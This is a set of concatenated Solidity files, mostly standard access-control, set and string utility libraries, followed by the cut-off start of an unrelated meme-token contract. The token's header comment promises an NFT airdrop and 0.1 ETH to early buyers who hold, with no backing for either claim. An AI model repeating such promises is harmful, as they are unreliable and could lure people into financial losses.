* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IAbstractRewards {
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has withdrawn.
* @param account The address of a token holder.
* @return The amount of funds that `account` has withdrawn.
*/
function withdrawnRewardsOf(address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has earned in total.
* accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account)
* = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER
* @param account The address of a token holder.
* @return The amount of funds that `account` has earned in total.
*/
function cumulativeRewardsOf(address account) external view returns (uint256);
/**
* @dev This event emits when new funds are distributed
* @param by the address of the sender who distributed funds
* @param rewardsDistributed the amount of funds received for distribution
*/
event RewardsDistributed(address indexed by, uint256 rewardsDistributed);
/**
* @dev This event emits when distributed funds are withdrawn by a token holder.
* @param by the address of the receiver of funds
* @param fundsWithdrawn the amount of funds that were withdrawn
*/
event RewardsWithdrawn(address indexed by, uint256 fundsWithdrawn);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
True
|
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// SPDX-License-Identifier: Unlicensed
/*
Every Bitcoin wallet contains one or more private keys, which are saved in the wallet file.
The private keys are mathematically related to all Bitcoin addresses generated for the wallet.
We believe in fairness and freedom, and we hope that $based64 is a collective of equal relationships.
If you have wisdom, you are welcome to join us. This is not just DAO.
The first 50 supporters who buy and hold will get our NFT airdrop and 0.1 ethereum
Our contact: (Not just websites and TG) Based on Base64
vD8stD1HLc7GjG4RHi9s1FF7fYs79
B7HFCdKQ6cBG6DNn71rHswJZbZ4RNuSkuZ
Rs4g3E9vDS4Ds3htS7
Liq = 6.4eth
Max = 1％ = 10,000,000,000
Supply = 100％ = 1,000,000,000,000
Burn = 360,000,000,000
:rvUIqXPKqSSuYr:
rqBBBBBBBBBQBBBQBBBQBBBBBBbr.
:XBBBBBBRRgRgRgRgMgRgMgMgRRQQBBBBBPi
.KBBBBRRggDgDgDgDgZgZgZgZgZgDgDgDggQBBBBP:
rQBQBMRDgDgZgZgZgZgZgDgZgZgDgDgZgZgDgDggRQBBB7
rBBBRMDgDgDgZgZgDgZgDgDggMDgZgDgZgDgZgDgDgDggQBBQv
.BBBRggDgZgZgDgDgZgZgDgDgBBBBRMZgDgDgDgDgZgZgZggMMBBB:
KBBMgDgZgZgZgDgDgDgDgZgZRBU7PDRQRQBBBRMZgZgDgDgDgZggQBBd
BBQggZgDgDgZgZgDggRgRgMDgBB 7BQE7bRQRgZgZgDgZgDgDgDMQBB.
:BQRDgZgZgDgDgZgDgMBBBBBBBQB5 BBB. .BggDgDgDgDgDgZgDggBB7
iBBRZgZgZgZgZgDgDggBs :vSQBBB. vBBB KBMDgDgZgZgZgZgDgDggBBv
:BBMDgZgZgDgZgDgZgDQB . BBBY BBggZgZgDgDgDgDgZgDggBB7
BBRDgDgZgZgZgDgDgDgQE . PBBBQMggDgDgZgZgDgDgDggBB.
BBRDgDgZgDgDgDgDgDgZgQBBBP .LgBBBggZgDgDgZgDgZgZggBB
JBQggZgZgZgZgZgZgZgZgDMQBBB7 . YBBgMZgZgZgDgZgDgDgMBq
BBggZgZgZgDgDgDgDgZgDgDggBB 7BBBDu: gBMgZgZgZgDgZgDgDgQB
YBMgDgZgDgZgDgZgZgZgZgZgZRB2 BBBBBBBBv BBggZgDgDgDgDgDgDRBP
BBMZgDgZgDgZgDgZgDgDgZgZgQB :BBgRgRQBB: UBMDgZgDgDgZgZgZggBB
BQDgZgDgZgDgDgDgZgDgZgZggBZ BBBBBBBBBB. PBggZgDgDgDgDgZgDgMB
.BRgDgDgDgDgDgZgDgZgDgDgDQQ: vUPgBQBQb BQgZgDgZgDgDgDgZgZRQ.
:QQDgDgZgZgDgDgZgZgDgZgDMBB BBRZgDgZgDgZgZgZgZggB.
:BMgZgDgDgZgZgDgDgZgZgZgMB7 .jMBBMZgZgDgDgDgZgZgDgZMB:
:BRDgZgZgZgDgDgZgZgZgDggBB rBBQXL. JBBBggDgZgZgDgZgDgZgDggB:
BMgDgZgZgDgZgZgDgDggRgQBX BBBBBBBBM: jBQggDgZgZgZgDgDgDgDRB.
BQggDgDgZgDgZgZggMBBBBBB .BQDggRMBBBE dQMZgDgDgDgDgZgZgDgRB
BBMZgZgZgDgDgDgDMBQ :Ld7 gBRRgMgRgQBB rBggZgZgDgZgDgDgDggBB
sBggDgZgDgZgDgZgQB BBBBBBBBBBBI 5BgZgZgDgZgDgDgDgDMBK
QBDgZgZgZgDgDgDBi .rY2SP2v BQDgDgDgZgZgZgDgDgQB
sQQggZgDgZgDgDgQDdXv: gBggDgDgZgZgDgDgDggBX
BQRDgZgZgDgDgDMQBBBQBBB gBMgZgDgDgZgDgZgDggBB
BBMggDgDgZgZgDgDggQQBg BBB: :KBBgMDgZgDgZgZgDgZggBQ.
:BBRDgDgDgDgZgZgDgDRB. :BBB EBBQQgQQBBBBBgMDgDgDgDgDgDgDggBB7
:BBRDgZgZgDgDgDgZgQE dBBv BBBBBBBBQBMMggDgZgZgZgDgZgDggBBv
:BBQggDgZgDgZgDgDQMKji:BBB 7BRgggggggDgZgZgDgZgDgZgDgZgMBBr
BBBggDgZgZgDgZgDQBBBBMQRIYi QQMDgZgDgZgDgDgZgZgDgZgDgDRQBB.
5BBMgDgDgDgDgZgDgDMggDRBBBBQRDgDgZgZgDgZgZgZgZgDgDggQBBP
.QBBQggZgZgDgDgDgDgZgDMgMggDgZgZgDgZgDgZgDgZgDgZMMBBB:
iBBBRRDgDgZgDgDgDgZgDgZgDgDgZgZgZgDgZgZgZgDMgQQBQv
rQBBBRRggDgDgDgDgZgZgZgDgDgZgDgDgDgDggggRBBBBr
.KBBBBQRggDgDgDgDgZgDgDgDgZgDgDgDggQBBBBK.
:XBBQBBBRQgRgMgMDggMgggMgRMQQBBBBBK:
rSQBBBBBBBBQBQQQBBBBBBBBBQPr.
.:rrvLYLYv7r:.
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
